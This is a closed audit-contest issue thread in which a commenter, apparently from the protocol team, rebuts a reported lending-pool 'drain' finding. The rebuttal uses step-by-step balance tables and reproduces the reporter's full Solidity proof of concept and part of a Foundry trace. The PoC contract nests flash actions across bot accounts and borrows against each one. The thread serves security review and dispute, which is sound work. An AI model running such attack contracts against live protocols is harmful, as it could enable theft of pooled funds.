Closed sherlock-admin2 closed 6 months ago
1 comment(s) were left on this issue during the judging contest.
takarez commented:
valid: high(8)
I hereby again confirm this finding is invalid and will explain it below while walking through the POC. The post can be a bit long...
What essentially happens is two (n) accounts ending up with a healthy state and the lending pool accounting correctly for the debt and liquidity.
In this specific POC from the user, there are two assumptions: 1) 1 ETH collateral can be used to borrow 1 ETH of debt. 2) No interest accrue, independent of the pool utilisation.
Assumption 1is of course not valid: collateral factors of 100% will never be set, even not for ETH as collateral against borrowing ETH. More realistically, this will be in the order of 90%. Assumption 2 also doesn't hold, since at least a base interest rate is paid, and with increasing utility of the pool, an increasing interest rate comes along.
The impact as described in the issue is not correct, as I'll show below. The user assumes a non-zero interest rate with perfect LTV, which would indeed cause the mentioned "never liquidate-able positions", but will never be a real scenario.
The described POC is quite complex, since it uses a recursive entering of executeAction on an arbitrary actionTarget, in this case the malicious Attack contract. However, this has no effect on the stability or the solvency of the protocol. In fact, we can consider the recursive executeAction to be the actionTarget of the next recursion loop.
At the bottom, I have the POC slightly adjusted (removed other tests, imported required contracts or interfaces, used interfaces instead of contract imports for simplicity). At the bottom-bottom, there is a copy of the trace logs.
As a general reminder, AccountV1.flashAction consists of 4 steps:
I'll explain step by step what this POC of the user does, and the state of the Accounts, lending pool and attacker contract at every step. First, we will use the POC from the user where the collateral factor of ETH-ETH is 100% (again, not realistic).
Part 1) Liquidity is foreseen (this can be any liquidity and is not related to the attacker providing it). Accounts are initialized. Attack contract is created. Attack.rekt() is called to kick things off. State:
Actor | Part 1 |
---|---|
Account 1 | 0 ETH |
Account 2 | 0 ETH |
Attack Contract | 1 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH |
Part 2) First account is active. Attack contract deposits 1 ETH into account 1
Actor | Part 1 | Part 2 |
---|---|---|
Account 1 | 0 ETH | 1 ETH |
Account 2 | 0 ETH | 0 ETH |
Attack Contract | 1 ETH | 0 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH |
Part 3) Attack contract (owner of account 1) borrows 0.5 ETH against account 1. The borrowed funds are sent to the Attack contract. A vanila, "normal" borrowing is used (AAVE style). darcETH = debtArcadiaETH = debt
Actor | Part 1 | Part 2 | Part 3 |
---|---|---|---|
Account 1 | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH |
Account 2 | 0 ETH | 0 ETH | 0 ETH |
Attack Contract | 1 ETH | 0 ETH | 0.5 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH |
Part 4) The Attack contract performs a flashAction on account 1. During the action, the Attack contract flashwithdraws 1 ETH to the Attacker contract. This is the first part of the flashAction on account 1. Note the bold balances, these are "temporary" balances created due to the flash accounting. As the interested reader will soon understand, this has no effect on the eventual stability and accounting.
Actor | Part 1 | Part 2 | Part 3 | Part 4 |
---|---|---|---|---|
Account 1 | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH |
Account 2 | 0 ETH | 0 ETH | 0 ETH | 0 ETH |
Attack Contract | 1 ETH | 0 ETH | 0.5 ETH | 1.5 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH |
Part 5) This is the second part of the flashAction on account 1. Within this flashAction, we call actionTarget.executeAction, which happens to be the Attack contract. The second account is now active in the Attacker contract. The Attack contract deposits 1 ETH into account 2.
Actor | Part 1 | Part 2 | Part 3 | Part 4 | Part 5 |
---|---|---|---|---|---|
Account 1 | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH |
Account 2 | 0 ETH | 0 ETH | 0 ETH | 0 ETH | 1 ETH |
Attack Contract | 1 ETH | 0 ETH | 0.5 ETH | 1.5 ETH | 0.5 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH |
Part 6) The Attack contract borrows 0.5 ETH against Account 2. Again, vanilla borrow. The borrowed funds go towards the Attacker contract. We are still within the 1st "flashAction::executeAction" recursion of account 1's flashAction.
Actor | Part 1 | Part 2 | Part 3 | Part 4 | Part 5 | Part 6 |
---|---|---|---|---|---|---|
Account 1 | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH |
Account 2 | 0 ETH | 0 ETH | 0 ETH | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH |
Attack Contract | 1 ETH | 0 ETH | 0.5 ETH | 1.5 ETH | 0.5 ETH | 1 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0 ETH, Debt: 1 ETH |
Part 7) Since the Attack contract has recursion depth == 2, we go into the end flow and do not call account2.flashAction again (since that would require a third account). The Attacker withdraws (and not skims) 0.5 ETH from account 2. Since this would leave account 2 in a state of 0.5 ETH collateral for 0.5 ETH debt, this is an acceptable state (NOTE: THIS IS WITH UNREALISTIC COLLATERAL FACTORS, KEEP READING). The 'executeAction' on the Attack contract ends, and from now on account 1 will be active again.
Actor | Part 1 | Part 2 | Part 3 | Part 4 | Part 5 | Part 6 | Part 7 |
---|---|---|---|---|---|---|---|
Account 1 | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH |
Account 2 | 0 ETH | 0 ETH | 0 ETH | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0.5 ETH, 0.5 darcETH |
Attack Contract | 1 ETH | 0 ETH | 0.5 ETH | 1.5 ETH | 0.5 ETH | 1 ETH | 1.5 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0 ETH, Debt: 1 ETH | Balance: 0 ETH, Debt: 1 ETH |
Part 8) We end the "flashAction::executeAction" of account 1's flashAction and proceed with the other functions in account 1's flashAction (the third part of the function, see higher). We will now withdraw the assets from the actionTarget (=Attacker contract) according to the input in the POC -> 1 ETH from the Attacker contract will be withdrawn and deposited into Account 1. The flashwithdrawn 1 ETH has found its way back to account 1!
Actor | Part 1 | Part 2 | Part 3 | Part 4 | Part 5 | Part 6 | Part 7 | Part 8 |
---|---|---|---|---|---|---|---|---|
Account 1 | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 1 ETH, 0.5 darcETH |
Account 2 | 0 ETH | 0 ETH | 0 ETH | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0.5 ETH, 0.5 darcETH | 0.5 ETH, 0.5 darcETH |
Attack Contract | 1 ETH | 0 ETH | 0.5 ETH | 1.5 ETH | 0.5 ETH | 1 ETH | 1.5 ETH | 0.5 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0 ETH, Debt: 1 ETH | Balance: 0 ETH, Debt: 1 ETH | Balance: 0 ETH, Debt: 1 ETH |
Part 9) We started in Part 1 with calling Attacker.rekt(), we have now processed the majority of it, account 1 is active. The Attack contract withdraws (and not skims) 0.5 ETH from account 1. Since this would leave account 1 in a state of 0.5 ETH collateral for 0.5 ETH debt, this is an acceptable state (NOTE: THIS IS WITH UNREALISTIC COLLATERAL FACTORS).
Actor | Part 1 | Part 2 | Part 3 | Part 4 | Part 5 | Part 6 | Part 7 | Part 8 | Part 9 |
---|---|---|---|---|---|---|---|---|---|
Account 1 | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 0 ETH, 0.5 darcETH | 1 ETH, 0.5 darcETH | 0.5 ETH, 0.5 darcETH |
Account 2 | 0 ETH | 0 ETH | 0 ETH | 0 ETH | 1 ETH | 1 ETH, 0.5 darcETH | 0.5 ETH, 0.5 darcETH | 0.5 ETH, 0.5 darcETH | 0.5 ETH, 0.5 darcETH |
Attack Contract | 1 ETH | 0 ETH | 0.5 ETH | 1.5 ETH | 0.5 ETH | 1 ETH | 1.5 ETH | 0.5 ETH | 1 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0.5 ETH, Debt: 0.5 ETH | Balance: 0 ETH, Debt: 1 ETH | Balance: 0 ETH, Debt: 1 ETH | Balance: 0 ETH, Debt: 1 ETH | Balance: 0 ETH, Debt: 1 ETH |
This gives us an end result of, keeping in mind the 100% collateral factor of ETH against ETH
Actor | Part 9 | RESULT |
---|---|---|
Account 1 | 0.5 ETH, 0.5 darcETH | HEALTHY |
Account 2 | 0.5 ETH, 0.5 darcETH | HEALTHY |
Attack Contract | 1 ETH | DOING JUST FINE |
Pool | Balance: 0 ETH, Debt: 1 ETH | HEALTHY |
We note that the end result of all this is the exact same case where:
Option 1) Friendly user 1 deposited 0.5 ETH into his account, and borrowed 0.5 ETH against it. Friendly user 2 deposited 0.5 ETH into his account, and borrowed 0.5 ETH against it. Attacker did nothing. Pool accounted for the friendly users.
OR
Option2)
Attacker leveraged up on 0 ETH. The collateral factor is 1, so the max leverage is 1/(1-1)
= infinite. The attacker can thus leverage up to a position size of 1 ETH of which 0 ETH is the attacker's margin and 1 ETH is borrowed. This would result in 1 account with:
Assets: 1 ETH (of which 0 is the margin, 1 is borrowed)
Debt: 1 ETH
Health status: HEALTHY
Pool accounting is identical.
As the above doesn't really make sense due to the collateral factor of 100% (or 1), amore sensible example will be one where ETH collateral has a collateral factor of 80% for borrowing ETH. Insert the same steps, and you get:
Actor | Part 1 | Part 2 | Part 3 | Part 4 | Part 5 | Part 6 | Part 7 | Part 8 | Part 9 |
---|---|---|---|---|---|---|---|---|---|
Account 1 | 0 ETH | 1 ETH | 1 ETH, 0.4 darcETH | 0 ETH, 0.4 darcETH | 0 ETH, 0.4 darcETH | 0 ETH, 0.4 darcETH | 0 ETH, 0.4 darcETH | 1 ETH, 0.4 darcETH | 0.5 ETH, 0.4 darcETH |
Account 2 | 0 ETH | 0 ETH | 0 ETH | 0 ETH | 1 ETH | 1 ETH, 0.4 darcETH | 0.5 ETH, 0.4 darcETH | 0.5 ETH, 0.4 darcETH | 0.5 ETH, 0.4 darcETH |
Attack Contract | 1 ETH | 0 ETH | 0.4 ETH | 1.4 ETH | 0.4 ETH | 0.8 ETH | 1.3 ETH | 0.3 ETH | 0.8 ETH |
Pool | Balance: 1 ETH, Debt: 0 ETH | Balance: 1 ETH, Debt: 0 ETH | Balance: 0.6 ETH, Debt: 0.4 ETH | Balance: 0.6 ETH, Debt: 0.4 ETH | Balance: 0.6 ETH, Debt: 0.4 ETH | Balance: 0.2 ETH, Debt: 0.8 ETH | Balance: 0.2 ETH, Debt: 0.8 ETH | Balance: 0.2 ETH, Debt: 0.8 ETH | Balance: 0.2 ETH, Debt: 0.8 ETH |
which summarises into:
Actor | Part 9 | RESULT |
---|---|---|
Account 1 | 0.5 ETH, 0.4 darcETH | HEALTHY |
Account 2 | 0.5 ETH, 0.4 darcETH | HEALTHY |
Attack Contract | 0.8 ETH | DOING JUST FINE |
Pool | Balance: 0.2 ETH, Debt: 0.8 ETH | HEALTHY |
We note that the end result of all this is the exact same case where:
Option 1) Friendly user 1 deposited 0.5 ETH into his account, and borrowed 0.4 ETH against it. Friendly user 2 deposited 0.5 ETH into his account, and borrowed 0.4 ETH against it. Attacker did nothing. Pool accounted for the friendly users.
OR
Option 2)
Attacker leveraged up on 0.2 ETH. The collateral factor is 0.8, so the max leverage is 1/(1-0.8)
= 5. The attacker can thus leverage up to a position size of 1 ETH of which 0.2 ETH is the attacker's margin and 0.8 ETH is borrowed. This would result in 1 account with:
Assets: 1 ETH (of which 0.2 is the margin, 0.8 is borrowed)
Debt: 0.8 ETH
Health status: HEALTHY
Pool accounting is identical.
We can see that the end state is perfectly OK. In fact, this is exactly what the lending pool is intended to be doing.
--> No loss of funds --> No instability --> No issue
Complete POC, copy paste in the Borrow.fuzz.t.sol file in lending-v2.
/**
* Created by Pragma Labs
* SPDX-License-Identifier: BUSL-1.1
*/
pragma solidity 0.8.22;
import { LendingPool_Fuzz_Test } from "./_LendingPool.fuzz.t.sol";
import { ERC20 } from "../../../lib/solmate/src/tokens/ERC20.sol";
import { FixedPointMathLib } from "../../../lib/solmate/src/utils/FixedPointMathLib.sol";
import { stdError } from "../../../lib/forge-std/src/StdError.sol";
import { stdStorage, StdStorage } from "../../../lib/accounts-v2/lib/forge-std/src/StdStorage.sol";
import { AccountErrors } from "../../../lib/accounts-v2/src/libraries/Errors.sol";
import { LendingPool } from "../../../src/LendingPool.sol";
import { ERC20Mock } from "../../../lib/accounts-v2/test/utils/mocks/tokens/ERC20Mock.sol";
import { ActionData } from "../../../lib/accounts-v2/src/interfaces/IActionBase.sol";
import { AccountV1 } from "../../../lib/accounts-v2/src/accounts/AccountV1.sol";
/**
* @notice Fuzz tests for the function "borrow" of contract "LendingPool".
*/
contract Borrow_LendingPool_Fuzz_Test is LendingPool_Fuzz_Test {
using stdStorage for StdStorage;
using FixedPointMathLib for uint256;
/* ///////////////////////////////////////////////////////////////
SETUP
/////////////////////////////////////////////////////////////// */
function setUp() public override {
LendingPool_Fuzz_Test.setUp();
}
/*//////////////////////////////////////////////////////////////
TESTS
//////////////////////////////////////////////////////////////*/
function test_sherlock_drain() public {
/// @dev Declare our attacker.
address _ATTACKER = address(0x69);
/// @dev Here we declare the number of bot accounts to use.
/// We're doing this to make the math a little bit simpler,
/// since we don't need to write special handlers for dust
/// liquidity in a target pool.
/// You can scale this arbitrarly.
uint256 numberOfBots = 2;
/// @dev Here we assume the attacker has some liquidity.
uint256 attackLiquidity = 1 ether;
/// @dev Here we assume the initial liquidity of the pool.
/// We'll initialize this using the `liquidityProvider`,
/// although we can just assume this to be the aggregate
/// liquidity of lots of users.
uint256 liquidity = (numberOfBots * attackLiquidity) / 2;
/// @dev Prepare token approvals for the liquidity provider
/// and initialize the attacker's initial balance.
vm.startPrank(users.liquidityProvider);
mockERC20.stable1.approve(address(pool), type(uint256).max);
mockERC20.stable1.transfer(_ATTACKER, attackLiquidity);
vm.stopPrank();
/// @dev Deposit the liquidity into the senior tranche.
vm.prank(address(srTranche));
pool.depositInLendingPool(liquidity, users.liquidityProvider);
assertEq(mockERC20.stable1.balanceOf(address(pool)), liquidity);
vm.startPrank(_ATTACKER);
/// @dev Deploy the attack contract.
Attack attack = new Attack(address(factory), address(pool), address(mockERC20.stable1));
/// @dev Fund the attack liquidity.
mockERC20.stable1.transfer(address(attack), attackLiquidity);
/// @dev Accumulate a number of bot accounts.
attack.prepareAccounts(numberOfBots); /* accumulate_bots */
/// @dev Begin the attack.
attack.rekt();
/// @notice At this stage, the pool has been emptied, and each account
/// is left in possession of their borrowed collateral.
assertEq(mockERC20.stable1.balanceOf(address(pool)), 0); /* pool_drained */
assertEq(mockERC20.stable1.balanceOf(address(attack)), attackLiquidity); /* no_loss_for_attacker_besides_gas */
vm.stopPrank();
}
}
interface IFactory {
function createAccount(uint256 salt, uint256 accountVersion, address creditor) external returns (address account);
}
interface IPool {
function borrow(uint256 amount, address creditor, address to, bytes3 ref) external;
}
contract Attack {
/// @dev Address of the factory.
IFactory private immutable _FACTORY;
/// @dev Address of the pool we intend to target.
IPool private immutable _POOL;
/// @dev The collateral token.
ERC20Mock private immutable _TOKEN;
/// @dev Array of bot accounts pre-allocated by the attacker.
/// Can be accumulated during a preliminary phase, therefore
/// unconstrainted by gas when preparing these.
address[] private _accounts;
/// @dev Attack depth tracker.
uint256 private _attackDepth;
/// @param factory The factory address.
/// @param pool The target of the attack.
/// @param token The collateral token.
constructor(address factory, address pool, address token) {
_FACTORY = IFactory(factory);
_POOL = IPool(pool);
_TOKEN = ERC20Mock(token);
}
/// @param numAccounts Number of bot accounts to create.
function prepareAccounts(uint256 numAccounts) external {
for (uint256 i; i < numAccounts; i++) {
/// @dev Create a new bot account.
address account = _FACTORY.createAccount({ salt: i + 0x69, accountVersion: 0, creditor: address(_POOL) });
/// @dev Track the account.
_accounts.push(account);
/// @dev Ensure token approvals.
_TOKEN.approve(account, type(uint256).max);
}
}
function _emptyActionData() internal returns (ActionData memory emptyActionData) {
address[] memory emptyAddresses = new address[](0);
uint256[] memory emptyUints = new uint256[](0);
emptyActionData = ActionData(emptyAddresses, emptyUints, emptyUints, emptyUints);
}
/// @dev Exploits the contract.
function rekt() external {
executeAction("");
}
function _withdrawAndSkim(address account, uint256 amountToWithdraw) internal {
AccountV1 currentAccount = AccountV1(account);
/// @dev Have the account formally deposit the token.
address[] memory assetAddresses = new address[](1);
assetAddresses[0] = address(_TOKEN);
uint256[] memory assetIds = new uint256[](1);
uint256[] memory assetAmounts = new uint256[](1);
assetAmounts[0] = amountToWithdraw;
currentAccount.withdraw(assetAddresses, assetIds, assetAmounts);
currentAccount.skim(address(_TOKEN), 0, 0);
}
/// @dev Handle a flash action invocation.
function executeAction(bytes memory actionTargetData) public returns (ActionData memory returnDepositData) {
uint256 tokenBalance = _TOKEN.balanceOf(address(this));
/// @dev Have the account formally deposit the token.
address[] memory assetAddresses = new address[](1);
assetAddresses[0] = address(_TOKEN);
uint256[] memory assetIds = new uint256[](1);
uint256[] memory assetAmounts = new uint256[](1);
assetAmounts[0] = 1 ether;
/// @dev Fetch the current account for the given `attackDepth`.
AccountV1 currentAccount = AccountV1(_accounts[_attackDepth]);
/// @dev Deposit the attack liquidity.
currentAccount.deposit(assetAddresses, assetIds, assetAmounts);
/// @dev Let's see if we can use our tokens as borrow collateral.
_POOL.borrow(0.5 ether, address(currentAccount), address(this), bytes3("KEK"));
uint256[] memory assetTypes = new uint256[](1); /* [ERC-20] */
ActionData memory withdrawActionData = ActionData({
assets: assetAddresses,
assetIds: assetIds,
assetAmounts: assetAmounts,
assetTypes: assetTypes
});
// TODO: fix this, lazy
uint256 myAttackDepth = _attackDepth;
/// @dev Increase the attack depth to figure out where in the
/// attack we currently rest.
++_attackDepth;
if (_attackDepth < _accounts.length) {
/// @dev Moment of truth.
currentAccount.flashAction(
address(this), /* `this.executeAction(bytes)` */
abi.encode(withdrawActionData, _emptyActionData(), "", "", "")
);
}
/// @dev Withdraw excess funds after the attack has taken place.
_withdrawAndSkim(_accounts[myAttackDepth], 0.5 ether);
if (myAttackDepth > 0) {
AccountV1 accountToSendTo = AccountV1(_accounts[myAttackDepth - 1]);
/// @dev Expedite funds.
_TOKEN.approve(address(accountToSendTo), type(uint256).max);
uint256[] memory newAssetAmounts = new uint256[](1);
newAssetAmounts[0] = withdrawActionData.assetAmounts[0];
withdrawActionData.assetAmounts = newAssetAmounts;
/// @dev Re-deposit the assets to make the callback happy.
returnDepositData = withdrawActionData;
}
/// Once we are finished, verify the `currentAccount` still
/// contains the borrowed amount.
require(_TOKEN.balanceOf(address(currentAccount)) == 0.5 ether, "FAILED_TO_LOCK_LIQUIDITY");
}
}
Running this gives the following traces:
lending-v2 on main [!] on ☁️ took 16s
❯ forge test --mt test_sherlock_drain -vvvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/fuzz/LendingPool/Borrow.fuzz.t.sol:Borrow_LendingPool_Fuzz_Test
[PASS] test_sherlock_drain() (gas: 2273939)
Traces:
[2273939] Borrow_LendingPool_Fuzz_Test::test_sherlock_drain()
├─ [0] VM::startPrank(liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d])
│ └─ ← ()
├─ [4643] STABLE1::approve(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ emit Approval(owner: liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d], spender: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
├─ [29680] STABLE1::transfer(0x0000000000000000000000000000000000000069, 1000000000000000000 [1e18])
│ ├─ emit Transfer(from: liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d], to: 0x0000000000000000000000000000000000000069, amount: 1000000000000000000 [1e18])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::prank(Senior Tranche: [0x22278DA93E6145c194D683fb96975DF8CDaF439E])
│ └─ ← ()
├─ [83895] Lending Pool::depositInLendingPool(1000000000000000000 [1e18], liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d])
│ ├─ [25273] STABLE1::transferFrom(liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], 1000000000000000000 [1e18])
│ │ ├─ emit Transfer(from: liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d], to: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], amount: 1000000000000000000 [1e18])
│ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ ├─ emit PoolStateUpdated(totalDebt: 0, totalLiquidity: 1000000000000000000 [1e18], interestRate: 0)
│ └─ ← ()
├─ [561] STABLE1::balanceOf(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000069)
│ └─ ← ()
├─ [738798] → new Attack@0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b
│ └─ ← 4038 bytes of code
├─ [24880] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 1000000000000000000 [1e18])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000069, to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 1000000000000000000 [1e18])
│ └─ ← true
├─ [731197] Attack::prepareAccounts(2)
│ ├─ [327174] Factory::createAccount(105, 0, Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236])
│ │ ├─ [59947] → new Proxy@0x5Da84715127Fb812de3ca9357cF46Af10B8d037e
│ │ │ ├─ emit Upgraded(implementation: Account V1 Logic: [0x7fCe8177a74dc54906eA7416c902C1879BF788E6])
│ │ │ └─ ← 412 bytes of code
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], id: 2)
│ │ ├─ [127156] Proxy::initialize(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Registry: [0xB901b94fD24Ad47E3DD3b90F5BbD93ca2556b9bb], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236])
│ │ │ ├─ [124299] Account V1 Logic::initialize(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Registry: [0xB901b94fD24Ad47E3DD3b90F5BbD93ca2556b9bb], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236]) [delegatecall]
│ │ │ │ ├─ [2897] Lending Pool::openMarginAccount(1)
│ │ │ │ │ └─ ← true, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Liquidator: [0x04E25fA0D07EA7A8231986B952556fE303c44A11], 0
│ │ │ │ ├─ [2599] Registry::inRegistry(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388]) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ emit NumeraireSet(numeraire: STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388])
│ │ │ │ ├─ emit MarginAccountChanged(creditor: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], liquidator: Liquidator: [0x04E25fA0D07EA7A8231986B952556fE303c44A11])
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ emit AccountUpgraded(accountAddress: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], newVersion: 1)
│ │ └─ ← Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]
│ ├─ [24543] STABLE1::approve(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ ├─ emit Approval(owner: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], spender: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ ├─ [283474] Factory::createAccount(106, 0, Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236])
│ │ ├─ [59947] → new Proxy@0xc9F7fa49C1981fcb70E655E150B3d134987f576c
│ │ │ ├─ emit Upgraded(implementation: Account V1 Logic: [0x7fCe8177a74dc54906eA7416c902C1879BF788E6])
│ │ │ └─ ← 412 bytes of code
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], id: 3)
│ │ ├─ [118156] Proxy::initialize(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Registry: [0xB901b94fD24Ad47E3DD3b90F5BbD93ca2556b9bb], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236])
│ │ │ ├─ [117799] Account V1 Logic::initialize(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Registry: [0xB901b94fD24Ad47E3DD3b90F5BbD93ca2556b9bb], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236]) [delegatecall]
│ │ │ │ ├─ [897] Lending Pool::openMarginAccount(1)
│ │ │ │ │ └─ ← true, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Liquidator: [0x04E25fA0D07EA7A8231986B952556fE303c44A11], 0
│ │ │ │ ├─ [599] Registry::inRegistry(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388]) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ emit NumeraireSet(numeraire: STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388])
│ │ │ │ ├─ emit MarginAccountChanged(creditor: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], liquidator: Liquidator: [0x04E25fA0D07EA7A8231986B952556fE303c44A11])
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ emit AccountUpgraded(accountAddress: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], newVersion: 1)
│ │ └─ ← Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]
│ ├─ [24543] STABLE1::approve(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ ├─ emit Approval(owner: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], spender: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ └─ ← ()
├─ [742739] Attack::rekt()
│ ├─ [561] STABLE1::balanceOf(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]) [staticcall]
│ │ └─ ← 1000000000000000000 [1e18]
│ ├─ [121951] Proxy::deposit([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
│ │ ├─ [121558] Account V1 Logic::deposit([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [delegatecall]
│ │ │ ├─ [20151] Registry::batchProcessDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
│ │ │ │ ├─ [619] Factory::isAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ [6293] Standard ERC20 Asset Module::processDirectDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← 1, 0
